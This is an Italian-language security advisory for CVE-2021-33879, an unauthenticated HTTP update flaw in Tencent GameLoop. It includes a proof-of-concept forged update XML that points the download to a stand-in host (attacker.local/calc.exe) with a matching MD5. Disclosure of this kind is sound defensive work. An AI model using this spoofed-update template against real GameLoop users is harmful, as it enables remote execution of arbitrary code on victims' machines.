
GameLoop aggiornamento MITM
CVEID: CVE-2021-33879
Nome del prodotto interessato e delle versioni: GameLoop (tutte le versioni precedenti alla 4.1.21.90)
Tipo di vulnerabilità: CWE-494: Download of Code Without Integrity Check
Sommario
GameLoop è un emulatore Android sviluppato da Tencent. Il suo meccanismo di aggiornamento non è crittografato né autenticato (a parte gli hash MD5 che, in questo exploit, possono essere controllati dall'attaccante), consentendo a un attaccante in posizione MITM di intercettare e inviare i propri pacchetti di aggiornamento, che verranno eseguiti sulla macchina vittima.
Descrizione
Tencent GameLoop, nelle versioni precedenti la 4.1.21.90, scaricava gli aggiornamenti tramite una connessione HTTP non sicura. Un attaccante malintenzionato in posizione MITM poteva falsificare il contenuto di un documento XML che descrive un pacchetto di aggiornamento, sostituendo un URL di download con uno che punta a un eseguibile Windows arbitrario. Poiché l'unico controllo di integrità sarebbe stato il confronto tra il checksum MD5 del file scaricato e quello contenuto nel documento XML, l'eseguibile scaricato sarebbe stato poi eseguito sulla macchina della vittima.
Riproduzione
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>


Rimedio
Installare una versione più recente di GameLoop.